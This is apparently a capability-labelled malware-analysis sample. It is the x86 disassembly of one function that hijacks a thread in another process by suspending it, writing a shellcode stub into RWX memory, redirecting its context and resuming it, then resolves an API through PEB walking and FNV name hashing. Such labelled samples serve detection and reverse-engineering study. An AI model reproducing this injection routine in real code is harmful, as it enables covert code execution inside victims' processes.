Function at 0x4312d0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Hijack thread execution
Resolve function by parsing pe exports
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x304
mov eax, dword [0x4b8040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x14
mov edi, ecx
mov esi, edx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 0x2fc], esi
mov ebx, eax
call fcn.004314c0
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
mov dword [ebp - 0x2fc], esi
test esi, esi
je 0x4314a6
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2f8]
mov dword [ebp - 0x2f8], 0x1003f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x240]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
sub ecx, ebx
mov dword [ebp - 0xb], eax
sub ecx, 0x15
mov eax, dword [ebp + 0xc]
sub eax, ebx
mov dword [ebp - 0x240], ebx
push 0
sub eax, 0xd
mov word [ebp - 0x20], 0x6660
push 3
mov dword [ebp - 0x13], eax
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
mov byte [ebp - 0x1e], 0x60
mov byte [ebp - 0xc], 0x68
mov byte [ebp - 0x14], 0xe8
mov word [ebp - 0x24], 0x6166
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x1c], 0xe9
mov dword [ebp - 0x1b], ecx
call esi
push 0
push 5
lea eax, [ebp - 0xc]
push eax
lea eax, [ebx + 3]
push eax
push edi
call esi
push 0
push 5
lea eax, [ebp - 0x14]
push eax
lea eax, [ebx + 8]
push eax
push edi
call esi
push 0
push 3
lea eax, [ebp - 0x24]
push eax
lea eax, [ebx + 0xd]
push eax
push edi
call esi
push 0
push 5
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebx + 0x10]
push eax
push edi
call esi
mov ebx, dword [ebp - 0x2fc]
lea eax, [ebp - 0x2f8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x304], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x300], ecx
cmp ecx, edx
je 0x431479
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x431479
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
nop dword [eax + eax]
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0xec691ffa
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x431472
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x431455
cmp esi, 0xeb95aa0
je 0x43147d
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x431440
mov eax, dword [eax]
jmp 0x431410
mov esi, dword [ebp - 0x300]
mov edx, dword [ebp - 0x304]
push dword [ebp - 0x2fc]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044317d
mov esp, ebp
pop ebp
ret